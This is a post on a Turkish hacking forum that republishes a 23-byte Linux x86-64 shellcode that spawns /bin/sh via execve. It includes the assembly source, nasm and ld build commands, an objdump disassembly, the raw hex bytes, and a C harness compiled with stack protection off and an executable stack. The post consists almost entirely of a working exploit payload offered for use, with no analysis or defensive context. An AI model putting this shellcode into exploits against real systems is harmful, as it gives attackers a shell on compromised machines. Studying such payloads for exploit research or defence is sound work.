Hoşgeldin Misafir

Linux/x64 - Execve(/bin/sh) Shellcode (23 bytes)

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
/*
;Category: Shellcode
;Title: GNU/Linux x86_64 - execve /bin/sh
;Author: rajvardhan
;Architecture: Linux x86_64
;Possibly The Smallest And Fully Reliable Shellcode
 
===========
Asm Source  
===========
 
global _start
section .text
_start:
        xor rsi,rsi
        push rsi
        mov rdi,0x68732f2f6e69622f
        push rdi
        push rsp
        pop rdi
        push 59
        pop rax
        cdq
        syscall
================================
Instruction for nasm compliation
================================
 
nasm -f elf64 shellcode.asm -o shellcode.o
ld shellcode.o -o shellcode
 
===================
objdump disassembly
===================
 
Disassembly of section .text:
 
0000000000401000 <_start>:
  401000:       48 31 f6                xor    %rsi,%rsi
  401003:       56                      push   %rsi
  401004:       48 bf 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rdi
  40100b:       2f 73 68 
  40100e:       57                      push   %rdi
  40100f:       54                      push   %rsp
  401010:       5f                      pop    %rdi
  401011:       6a 3b                   pushq  $0x3b
  401013:       58                      pop    %rax
  401014:       99                      cltd   
  401015:       0f 05                   syscall 
 
==================
23 Bytes Shellcode
==================
 
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
 
======================
C Compilation And Test
======================
 
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
 
*/
 
#include <stdio.h>
 
unsigned char shellcode[] = \
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}
 
#  0day.today [2019-05-26]  #